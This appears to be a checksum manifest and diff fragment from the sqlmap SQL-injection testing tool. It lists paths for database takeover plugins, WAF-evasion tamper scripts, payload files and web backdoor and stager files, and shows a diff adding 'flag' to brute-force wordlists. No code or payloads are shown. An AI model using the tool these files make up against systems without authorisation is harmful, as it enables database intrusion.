b95216204096179fd50004c489ba5c6e plugins/dbms/db2/fingerprint.py
49b62689e8f0d2da9e10d782b53a3d13 plugins/dbms/db2/__init__.py
8300ca02ecf00d3b00d78ecde8a86c09 plugins/dbms/db2/syntax.py
5f130772d2295ae61140acba894eaceb plugins/dbms/db2/takeover.py
42fc25e6a5363d2447ed1e2a81d77159 plugins/dbms/firebird/connector.py
22cadcf4f20aeea2f2abead6553ed460 plugins/dbms/firebird/enumeration.py
9e12a966e280951deb996a8a634eb9e2 plugins/dbms/firebird/filesystem.py
74f0a234bcb11cac697751ef9488579b plugins/dbms/firebird/fingerprint.py
0f9bf6cf9dad52336ad1c528bdb4d142 plugins/dbms/firebird/__init__.py
d16de4d9516f95956d4518e9412de77a plugins/dbms/firebird/syntax.py
80496d64b22c10ed4893b4149a162365 plugins/dbms/firebird/takeover.py
e125fb5d8d75861532a01828d829d85e plugins/dbms/hsqldb/connector.py
8fbc4653d0c880ca78278c8ae6823136 plugins/dbms/hsqldb/enumeration.py
b763ce42f66f7b81d05130bbd3e383a9 plugins/dbms/hsqldb/filesystem.py
c9d59b7c60aa0f0b23f920f932547e40 plugins/dbms/hsqldb/fingerprint.py
d278ad5f1c13fea871ed1120942244d5 plugins/dbms/hsqldb/__init__.py
d781720e15c23b662bae3098ed470756 plugins/dbms/hsqldb/syntax.py
2f957281cfe80396f73a3dccc0cb6d45 plugins/dbms/hsqldb/takeover.py
78917f19ea0750a665094d7dd7778d0c plugins/dbms/informix/connector.py
d251aecff7544f79f78385386bb7fa35 plugins/dbms/informix/enumeration.py
e8f0f28da98020dce27970a50e10a23b plugins/dbms/informix/filesystem.py
89540595a6011b47629c68d11a5e4533 plugins/dbms/informix/fingerprint.py
99a77ad7aa7ca4a4b5981f2fa0d9c616 plugins/dbms/informix/__init__.py
8300ca02ecf00d3b00d78ecde8a86c09 plugins/dbms/informix/syntax.py
5f130772d2295ae61140acba894eaceb plugins/dbms/informix/takeover.py
cc9c82cfffd8ee9b25ba3af6284f057e plugins/dbms/__init__.py
4c8667e8af763ddf82ee314c6681d4e1 plugins/dbms/maxdb/connector.py
075fd66b8bbabed18aeb304c6c0ef2a2 plugins/dbms/maxdb/enumeration.py
aa46f115a06c66b1e011aba98ec284bd plugins/dbms/maxdb/filesystem.py
535b389c7bac381c06ca34b0fe48c8ae plugins/dbms/maxdb/fingerprint.py
c24f2512f13dbaff9543fe6d96cbe53b plugins/dbms/maxdb/__init__.py
df0766e0f322505dcbfca2fc792fe62f plugins/dbms/maxdb/syntax.py
aeec4f12950e20c46da405d23ea08dbb plugins/dbms/maxdb/takeover.py
579d582f3716c310689b4aa7317b57df plugins/dbms/mssqlserver/connector.py
8318300d92865330f5b0db5c3df29835 plugins/dbms/mssqlserver/enumeration.py
6c249bcdef486803686a8b2f11566637 plugins/dbms/mssqlserver/filesystem.py
d01229e7161a5071934fc26b48a11e8c plugins/dbms/mssqlserver/fingerprint.py
2fbe5e485bcd05511cd1d7cb8cbdbde4 plugins/dbms/mssqlserver/__init__.py
a727b3cac910622d22b2ed92815716ef plugins/dbms/mssqlserver/syntax.py
f3da9f5298dac5d1f468828c07c81f70 plugins/dbms/mssqlserver/takeover.py
d8cd212ba7be09483af3f32256b71f05 plugins/dbms/mysql/connector.py
d251aecff7544f79f78385386bb7fa35 plugins/dbms/mysql/enumeration.py
a970f90c91ebd3a7e22955424fe5414e plugins/dbms/mysql/filesystem.py
edc62bbf269d053ccc68b4cdfebdf12b plugins/dbms/mysql/fingerprint.py
a4535cb3873ada344e6e61dbe1a546d3 plugins/dbms/mysql/__init__.py
4ad721acc40a964fc67154dd4683870e plugins/dbms/mysql/syntax.py
aa88b5d6198cd31d9ab2be664da9a265 plugins/dbms/mysql/takeover.py
2f2b7b1f08a8e6bfbe2fd0467d477667 plugins/dbms/oracle/connector.py
061b5f0a2cf2e61c8a03ef73ee43a869 plugins/dbms/oracle/enumeration.py
97579ede42f5fa64397792a65d6c0781 plugins/dbms/oracle/filesystem.py
82b3e501ebae93c5dc0ef2abccb10177 plugins/dbms/oracle/fingerprint.py
ecfc3b8b1e97e41cad6681fc68f93998 plugins/dbms/oracle/__init__.py
1814ceabb19b6fcf908d4638cf0436ef plugins/dbms/oracle/syntax.py
cac6bd84d44ac929da6800719279875b plugins/dbms/oracle/takeover.py
6c54ca5c9efad3e437467f9fe44435d6 plugins/dbms/postgresql/connector.py
419dd50e6688fef760fec4f71430fb29 plugins/dbms/postgresql/enumeration.py
9756fc02fc84719c3e330fcc7914bf17 plugins/dbms/postgresql/filesystem.py
5bd67a898b9671c78b00b9299674e6d7 plugins/dbms/postgresql/fingerprint.py
0e7d17abf68f1dd770e969c84878d246 plugins/dbms/postgresql/__init__.py
8711e7c1265a5e651c9aadca7db40cd5 plugins/dbms/postgresql/syntax.py
50d8070e687e5806058a121311a36385 plugins/dbms/postgresql/takeover.py
316c39c5c866c5e6b0afaf51fc773ca3 plugins/dbms/sqlite/connector.py
1cbe2b28041e52b421f256b813e0ec9d plugins/dbms/sqlite/enumeration.py
f3318e79b1130e052242db8299eb1968 plugins/dbms/sqlite/filesystem.py
17752c107b24f5a83926f8c62a50f15a plugins/dbms/sqlite/fingerprint.py
098c50a83ceca04e3acc67a7c66fb0d2 plugins/dbms/sqlite/__init__.py
a27325e2c88a0d38fe871509329cc9d5 plugins/dbms/sqlite/syntax.py
53b0be0cb6599d042bf6772e62b25ca5 plugins/dbms/sqlite/takeover.py
579d582f3716c310689b4aa7317b57df plugins/dbms/sybase/connector.py
7d58cbb4527d7a48ca05037f0b2ffe0a plugins/dbms/sybase/enumeration.py
ca107f3d1b4854ce84386109d476d494 plugins/dbms/sybase/filesystem.py
e095022426f2b986d069748ee2289af1 plugins/dbms/sybase/fingerprint.py
d0c7cc8ec2aa716b2e5cd3b5ab805c3a plugins/dbms/sybase/__init__.py
4763a90266c1633054ad7f3f0926a71d plugins/dbms/sybase/syntax.py
7a1c6cb238b5b464e1e9641469e6e503 plugins/dbms/sybase/takeover.py
62faa58e5aace4b6a6d562788685186f plugins/generic/connector.py
cdbf6eec4a94f830deb7dbab1c1a2935 plugins/generic/custom.py
f27f76bfd2ed9ce384dcd43fb7e10226 plugins/generic/databases.py
1177bbad4e77a2ca85e0054569e03d38 plugins/generic/entries.py
e335b868f5fb1154c9f72143d602915d plugins/generic/enumeration.py
3e673ef4e6592f52a11d88e61fe4dc2b plugins/generic/filesystem.py
5637c508ca6348f29c2b100a3e80dddc plugins/generic/fingerprint.py
cc9c82cfffd8ee9b25ba3af6284f057e plugins/generic/__init__.py
7ffeee6d232ff6b342f362a2a4d226c0 plugins/generic/misc.py
7b3e044a7fca497278d79883697089b7 plugins/generic/search.py
73f8d047dbbcff307d62357836e382e6 plugins/generic/syntax.py
da3ebc20998af02e3d952d0417a67792 plugins/generic/takeover.py
d35f994664fb7a7fcee656633dfb31ed plugins/generic/users.py
cc9c82cfffd8ee9b25ba3af6284f057e plugins/__init__.py
b04db3e861edde1f9dd0a3850d5b96c8 shell/backdoor.asp_
158bfa168128393dde8d6ed11fe9a1b8 shell/backdoor.aspx_
1add5a9a67539e7fd1999c8c20a69d15 shell/backdoor.jsp_
09fc3ed6543f4d1885e338b271e5e97a shell/backdoor.php_
ff90cb0366f7cefbdd6e573e27e6238c shell/runcmd.exe_
0e7aba05423c272f051f31165b0e416d shell/stager.asp_
c3cc8b7727161e64ab59f312c33b541a shell/stager.aspx_
1f7f125f30e0e800beb21e2ebbab18e1 shell/stager.jsp_
01e3505e796edf19aad6a996101c81c9 shell/stager.php_
56702e95555adee718b6a11ee7098fd4 sqlmapapi.py
4b8d19a39402dc7f8a341608a9625aa1 sqlmap.py
1316deb997418507e76221c84ec99946 tamper/apostrophemask.py
a6efe8f914c769c52afec703bd73609f tamper/apostrophenullencode.py
b1c56983919b69f4f6f0e7929c881e7a tamper/appendnullbyte.py
1233f8bad4d9a33d7961073c449874a2 tamper/base64encode.py
6aa5ba5689d9689825338260194670e0 tamper/between.py
21f4ce75916531641cfe405ce91663fc tamper/bluecoat.py
43cfacec17de26ff2a61c519e2e86dc9 tamper/chardoubleencode.py
344751c277ca62fa42dac95deedb0cdf tamper/charencode.py
c6c90b5c175770ff98859653115dc478 tamper/charunicodeencode.py
b7f5de532d2b87a477840c7d2a3cf386 tamper/commalesslimit.py
e2aca0ea57afc24dd154472034dc9c8c tamper/commalessmid.py
7dec60fa5a1f27513cfba131e07b4d2f tamper/concat2concatws.py
906f38bffac305d341e69721631c9b1e tamper/equaltolike.py
11bb0652668bb6624494567fd92933b3 tamper/escapequotes.py
731c25dd33fca28514930d4409daaaa3 tamper/greatest.py
1becabc90d81c70fd24b54cae03a3702 tamper/halfversionedmorekeywords.py
61add9dce3c0c9035901db87fa969c89 tamper/htmlencode.py
17313c5a68aa44325616e0e38869b98e tamper/ifnull2ifisnull.py
dd71bbc7f76ef55a2c9c16645347ead8 tamper/informationschemacomment.py
cc9c82cfffd8ee9b25ba3af6284f057e tamper/__init__.py
4f022b7dbe12957003ee06e2610baa85 tamper/lowercase.py
38543c4fc77acbd346cdbdbdfebee799 tamper/modsecurityversioned.py
c16c3ed0ce302034d99ee0b8f34fbd0b tamper/modsecurityzeroversioned.py
658742d52fe9fcd357c87198650982b8 tamper/multiplespaces.py
e65ff0680df2fc89444ec5953bb2f161 tamper/nonrecursivereplacement.py
6780d738236ac200d230c4cb497bd1a2 tamper/overlongutf8.py
3f05d5218b22280adcd91fe53830bcb4 tamper/percentage.py
7a93f510f231278897650da1c7d13b23 tamper/randomcase.py
34c255f3bca6d5fee2dfb18ed86d406f tamper/randomcomments.py
f5e9eb84d4c5e9a19fe7154a8aebe13d tamper/securesphere.py
b4fc315dd6956dbe62a14c3efbe734b8 tamper/space2comment.py
c58858bebc9128a2685e93c985c8c23e tamper/space2dash.py
7cb376474d8d2dfa524be8f09d5bbf87 tamper/space2hash.py
ac2674939af0d1e82802d9343856db08 tamper/space2morehash.py
7f26c6fca4ef394c8d84c1ffe0162834 tamper/space2mssqlblank.py
df92b78d4ebe3de3e922eae1520020bf tamper/space2mssqlhash.py
63dcc179881387c6a2ca4b84b4723efe tamper/space2mysqlblank.py
6c9a0f9f98b938b0dc814644eeeb4d69 tamper/space2mysqldash.py
898361e5bc84fee788005a31494c1b8d tamper/space2plus.py
ea567cf81dafcb961eb1e88396534fd5 tamper/space2randomblank.py
da09cdc03e7d306e68a0c45322cc14c2 tamper/sp_password.py
84d536cd1296affcf4d294846508ef1a tamper/symboliclogical.py
50ead20b50db1051f8f3790c910b7b36 tamper/unionalltounion.py
f248289f5bc6ff9df8d82f8a3649d7a2 tamper/unmagicquotes.py
05824e0a1eb695bfc61d83ca8578de8f tamper/uppercase.py
ccdcf7afb18efd83d8b7a59d744fe51f tamper/varnish.py
a5f02f75856551499c0bf33672869a7f tamper/versionedkeywords.py
61aec82c2fb383bf9db95b74f5f0e67a tamper/versionedmorekeywords.py
99a90d668f367f5660698c00e84ec671 tamper/xforwardedfor.py
368165b45dadcdff4422bc010700832a thirdparty/ansistrm/ansistrm.py
d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py
a53a7a876b401aaaa3535376676692ae thirdparty/beautifulsoup/beautifulsoup.py
cb2e1fe7c404dff41a2ae9132828f532 thirdparty/beautifulsoup/__init__.py
ff54a1d98f0ab01ba7b58b068d2ebd26 thirdparty/bottle/bottle.py
4528e6a7bb9341c36c425faf40ef32c3 thirdparty/bottle/__init__.py
b20f539dc45fa9e514c1eb4f5aa8b5c6 thirdparty/chardet/big5freq.py
44159687c2bae35f165b44f07f5f167a thirdparty/chardet/big5prober.py
c80b09e2a63b375c02c8c1e825a953c5 thirdparty/chardet/chardetect.py
d2c4ad8cc905d95f148ead169d249eb8 thirdparty/chardet/chardistribution.py
24c57085435b8ad1a7bf9ff4ffe6cce0 thirdparty/chardet/charsetgroupprober.py
0cb6549c5cf979c8023f8aaf3392a117 thirdparty/chardet/charsetprober.py
241dd3b7d3eb97ae384320fc8346c6ff thirdparty/chardet/codingstatemachine.py
73f2b9ae331ab011571a3b3a2c62acc1 thirdparty/chardet/compat.py
6cccf2eada7dfa841a5c39aaecb037e7 thirdparty/chardet/constants.py
dd0087e46f835b791a5c9904fcda2de3 thirdparty/chardet/cp949prober.py
ecf56c6473c5a9bc0540a1ca11ec998a thirdparty/chardet/escprober.py
00590b3c94c4db8f25639ab261e4c725 thirdparty/chardet/escsm.py
99bc93e45136ecd15d8dfb489059f118 thirdparty/chardet/eucjpprober.py
65b6b3e75845e033ce34c11ccdd85450 thirdparty/chardet/euckrfreq.py
cc2282aef66a161b3451f9cf455fdd7d thirdparty/chardet/euckrprober.py
f13fee8c7bd6db0e8c40030ccacdfbde thirdparty/chardet/euctwfreq.py
ca66f5277872165faa5140068794604a thirdparty/chardet/euctwprober.py
0fb5414fcc0bdb8b04af324015505c06 thirdparty/chardet/gb2312freq.py
84284584b8e29f50f40781205a9d4e76 thirdparty/chardet/gb2312prober.py
354a83d1bb3c20b4626b6c4ad54d163a thirdparty/chardet/hebrewprober.py
d91ddc14e31824faacd96fa88e42a6b8 thirdparty/chardet/__init__.py
03be91b7ead4725af61234d4852bb7ab thirdparty/chardet/jisfreq.py
b59a7b8b0debe197444bf831ba42bbe9 thirdparty/chardet/jpcntx.py
e4e05437410aa80cf9a13afac19997fe thirdparty/chardet/langbulgarianmodel.py
74ce958cbef2eee08a7a04fb4db41260 thirdparty/chardet/langcyrillicmodel.py
7090da7635347b767b4eb194f697207d thirdparty/chardet/langgreekmodel.py
22df1e2996355e4c082cc0b2f8dbe261 thirdparty/chardet/langhebrewmodel.py
3b86d62fe73022a609b2e8095edecf87 thirdparty/chardet/langhungarianmodel.py
4f941425be84ee4e1b7ccb7c4b31e8d8 thirdparty/chardet/langthaimodel.py
9e7400a368b70c1acccab78d2cc489cd thirdparty/chardet/latin1prober.py
c27857a02a65a1100f3195f95c50aff9 thirdparty/chardet/mbcharsetprober.py
719ecf479d507a3e6450aefbaa42fcc8 thirdparty/chardet/mbcsgroupprober.py
2fd9f3c93568c552779bd46990027c36 thirdparty/chardet/mbcssm.py
93349a5fa5cb824d1485cd5f3a53928a thirdparty/chardet/sbcharsetprober.py
ee25f2a03587e2c283eab0b36c9e5783 thirdparty/chardet/sbcsgroupprober.py
c9349824f2647962175d321cc0c52134 thirdparty/chardet/sjisprober.py
bcae4c645a737d3f0e7c96a66528ca4a thirdparty/chardet/universaldetector.py
6f8b3e25472c02fb45a75215a175991f thirdparty/chardet/utf8prober.py
658da0466b798cc70f48f35fe49b7813 thirdparty/clientform/clientform.py
722281d87fb13ec22555480f8f4c715b thirdparty/clientform/__init__.py
0b625ccefa6b066f79d3cbb3639267e6 thirdparty/colorama/ansi.py
e52252bb81ce1a14b7245b53af33e75f thirdparty/colorama/ansitowin32.py
ed4d76c08741d34ac79f6488663345f7 thirdparty/colorama/initialise.py
c0707ca77ccb4a2c0f12b4085057193c thirdparty/colorama/__init__.py
ad3d022d4591aee80f7391248d722413 thirdparty/colorama/win32.py
c690e140157d0caac5824c73688231b3 thirdparty/colorama/winterm.py
be7eac2e6cfb45c5e297ec5eee66e747 thirdparty/fcrypt/fcrypt.py
e00542d22ffa8d8ac894c210f38454be thirdparty/fcrypt/__init__.py
2f94ddd6ada38e4091e819568e7c4b7c thirdparty/gprof2dot/gprof2dot.py
855372c870a23d46683f8aa39d75f6a1 thirdparty/gprof2dot/__init__.py
d41d8cd98f00b204e9800998ecf8427e thirdparty/__init__.py
e3b18f925d125bd17c7e7a7ec0b4b85f thirdparty/keepalive/__init__.py
e0c6a936506bffeed53ce106ec15942d thirdparty/keepalive/keepalive.py
d41d8cd98f00b204e9800998ecf8427e thirdparty/magic/__init__.py
49f0d123e044dd32a452e2fe51f1a9c3 thirdparty/magic/magic.py
d41d8cd98f00b204e9800998ecf8427e thirdparty/multipart/__init__.py
03c8abc17b228e59bcfda1f11a9137e0 thirdparty/multipart/multipartpost.py
3e502b04f3849afbb7f0e13b5fd2b5c1 thirdparty/odict/__init__.py
127fe54fdb9b13fdac93c8fc9c9cad5e thirdparty/odict/odict.py
08801ea0ba9ae22885275ef65d3ee9dc thirdparty/oset/_abc.py
54a861de0f08bb80c2e8846579ec83bd thirdparty/oset/__init__.py
179f0c584ef3fb39437bdb6e15d9c867 thirdparty/oset/pyoset.py
d24924d878e24946e83cfc1459f806af thirdparty/pagerank/__init__.py
7616693115d08f9b815a567515a0db56 thirdparty/pagerank/pagerank.py
94a4abc0fdac64ef0661b82aff68d791 thirdparty/prettyprint/__init__.py
ff80a22ee858f5331b0c088efa98b3ff thirdparty/prettyprint/prettyprint.py
5c70f8e5f7353aedc6d8d21d4fb72b37 thirdparty/pydes/__init__.py
a7f735641c5b695f3d6220fe7c91b030 thirdparty/pydes/pyDes.py
d41d8cd98f00b204e9800998ecf8427e thirdparty/socks/__init__.py
ec6bab337d529037fb7db0b126bce7cd thirdparty/socks/socks.py
d41d8cd98f00b204e9800998ecf8427e thirdparty/termcolor/__init__.py
ea649aae139d8551af513769dd913dbf thirdparty/termcolor/termcolor.py
855372c870a23d46683f8aa39d75f6a1 thirdparty/xdot/__init__.py
593473084228b63a12318d812e50f1e2 thirdparty/xdot/xdot.py
08c706478fad0acba049d0e32cbb6411 udf/mysql/linux/32/lib_mysqludf_sys.so_
1501fa7150239b18acc0f4a9db2ebc0d udf/mysql/linux/64/lib_mysqludf_sys.so_
7824059e8fc87c4a565e774676e2f1eb udf/mysql/windows/32/lib_mysqludf_sys.dll_
7fed5b8e99e36ce255c64527ec61a995 udf/mysql/windows/64/lib_mysqludf_sys.dll_
0ee1310d4e2a4cc5a7295df01a3a78bf udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
c7d9e1fcac5f047edf17d79a825fb64b udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
ec41a080f4570c3866b9a7219f7623c4 udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
337e2b84dfb089d1ba78323ab2fd21bd udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
e3234ad91b65c476e69743b196ea8394 udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
2e39682ab7f7f9d6bcce6a3f9dac576b udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
b17ade3fe472b00f6d4d655f0d1036b2 udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
3dfc42ea62f5db4196a1b736c603ef0f udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
fe297bfe5e27e7f99d64b2d6baa766fe udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
d7ce763983f5ef4cdae07480c7e16c36 udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
f9e5d7a8f1fbd8df80d07f72ada0251b udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
10a20abaf98ff25527702c7e37187427 udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
0b5158292758f4a67cb1bdfcefcd4ef3 udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
1d8eb0e3d38f1265ea1bef7f9ec60230 udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
1222dac08cf53e31e74e350a2c17452f udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
27761c5e046da59f1f1e11f6d194e38a udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
a6b9c964f7c7d7012f8f434bbd84a041 udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
d9006810684baf01ea33281d21522519 udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
0d3fe0293573a4453463a0fa5a081de1 udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
9bb247767c4ba118f2c5f0416e3e6151 waf/360.py
deb8dd4543177479b185af8b383a8bdf waf/airlock.py
0da662422cde266dd47cea3f5be6a309 waf/anquanbao.py
012b4acd41f0c12df88cf0276c2afd1a waf/armor.py
757fe0f66a24719fa596cb974ee6ae71 waf/baidu.py
8a26fe9e0ae48e8f28272769aa7dc16e waf/barracuda.py
826b64868a10caf1229d3bfcbbb4d594 waf/bigip.py
3105f71b03c428f8b58cbf7a91eebff0 waf/binarysec.py
e75422b8487f9937e050a60bc5c35896 waf/blockdos.py
f60078f702612da43dd2a8ed07e26694 waf/ciscoacexml.py
ac2edfa1d49b00b4bf730a9317090566 waf/cloudflare.py
c69e1091521671452eaedf4787817ede waf/cloudfront.py
765d0663658257ef0ab1060519c6e175 waf/comodo.py
33633c9a2b9d53c325ba1110607d566f waf/datapower.py
e0ad6e34b6082558e9f8f652d938c785 waf/denyall.py
1ab6764976b3e2e28bab68cc73b5d8d9 waf/dotdefender.py
037b715e1274fe2b4d2f31f6d24c9e77 waf/edgecast.py
29d0c8331a4d7013d784e5dc91db49aa waf/expressionengine.py
d50415b49d9df72cb9d193d05630ab8a waf/fortiweb.py
c5d83d63647baa46dadf5cf992156edc waf/generic.py
b302a688932296357fe10658a81eee0c waf/hyperguard.py
f62b484e9083fcbf271a2b0c8f6d3528 waf/incapsula.py
cc9c82cfffd8ee9b25ba3af6284f057e waf/__init__.py
5a898cfc081236d176274c5b513d0401 waf/isaserver.py
9689ff3faaeb2ea1837b3e04520b0e42 waf/jiasule.py
07eb9ee33a3e31bfc74763bea8026a2b waf/knownsec.py
32516985d3cb0aeeb1bf28062820b045 waf/kona.py
c3de612a7960b08e1e7f97aa05b58df1 waf/modsecurity.py
dc79a2e675d17df4cba1f8b839cbc11b waf/netcontinuum.py
8d3230fa3c6a7e41dc85dd04c95db044 waf/netscaler.py
4e05b8169e53edd36a6269e937958744 waf/newdefend.py
80eb59b4dcb62de8c97bd1bebbfb3f80 waf/nsfocus.py
477c3b6b31e8eb1fe836bd5a24c9fab2 waf/paloalto.py
e667efa27b53191315df547e95e04fa7 waf/profense.py
8d5609a37127782fb35af4f67b5787ee waf/proventia.py
40125df9f8184eab1926add588762294 waf/radware.py
fffbd039ec907274cdb6ee8e07e3cac4 waf/requestvalidationmode.py
44bef80f1a34663c3e0a963d969d9b1f waf/safe3.py
65a519516a597232fd902082dbcbc796 waf/safedog.py
e8cbddfffab8b400ea03f28ebfe14536 waf/secureiis.py
32de8507c956422926aaf13085dbcf42 waf/senginx.py
33db1ac9a11667199c7886bbb74f6b02 waf/sitelock.py
ff2b052672f4753be1508f2a22118631 waf/sonicwall.py
310b6081c65fb81917b8695b013559b6 waf/sophos.py
ade8698c8096d373034bac72069873f6 waf/stingray.py
b372c4fcc949767c38f2bead62d07418 waf/sucuri.py
4c02fbf63989df9ab58b04229f00f6df waf/teros.py
b5ea5375df444e0240f1ee0e2a8e52fb waf/trafficshield.py
89a11a755a4ea3cb71feb3f5f2b5809e waf/urlscan.py
0569c783e3487551affe5c91aec3c6d3 waf/uspses.py
960a8db9d3807fcd87f7f66dbfaa4628 waf/varnish.py
98c909c8b6e50d715e5b88c639ff1836 waf/wallarm.py
7a723ce2f1b82d7297a2ab025d5ca0be waf/webappsecure.py
75e51fea7f206e8faa2f743e44e58383 waf/webknight.py
3bcac085dcd9ed26b50a2320e418e9f3 waf/yundun.py
2a57f322f0b6e7b11b8df0909816a34f waf/yunsuo.py
2d53fdaca0d7b42edad5192661248d76 xml/banner/cookie.xml
37603bc0905af0c65480a2ca959990ec xml/banner/generic.xml
d8925c034263bf1b83e7d8e1c78eec57 xml/banner/mssql.xml
c97c383b560cd578f74c5e4d88c88ed2 xml/banner/mysql.xml
9b262a617b06af56b1267987d694bf6f xml/banner/oracle.xml
0d1c881156b760492d8004bd0d926c63 xml/banner/postgresql.xml
b07b5c47c751787e136650ded060197f xml/banner/server.xml
e5d141fb2ba31e4eae3495554b538908 xml/banner/servlet.xml
d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml
350605448f049cd982554123a75f11e1 xml/banner/x-aspnet-version.xml
2394458d582a636c52342cff33ae3035 xml/banner/x-powered-by.xml
fb93505ef0ab3b4a20900f3e5625260d xml/boundaries.xml
535d625cff8418bdc086ab4e1bbf5135 xml/errors.xml
a279656ea3fcb85c727249b02f828383 xml/livetests.xml
4b266898af8b7f380db910511de24ec4 xml/payloads/boolean_blind.xml
103a4c9b12c582b24a3fac8147a9c8d4 xml/payloads/error_based.xml
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml
c2d8dd03db5a663e79eabb4495dd0723 xml/payloads/time_blind.xml
ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml
1587a02322a96ac48973e782d6fedf73 xml/queries.xml
+1
View File
@@ -471,6 +471,7 @@ settingsid
lname
sale_date
module_addr
flag
# spanish
usuario
+1
View File
@@ -1615,6 +1615,7 @@ SPACE
geo_Sea
DATA_ORG
Contributor
flag
# Various Joomla tables
jos_vm_product_download
+3659 -1493
View File
File diff suppressed because it is too large Load Diff

Some files were not shown because too many files have changed in this diff Show More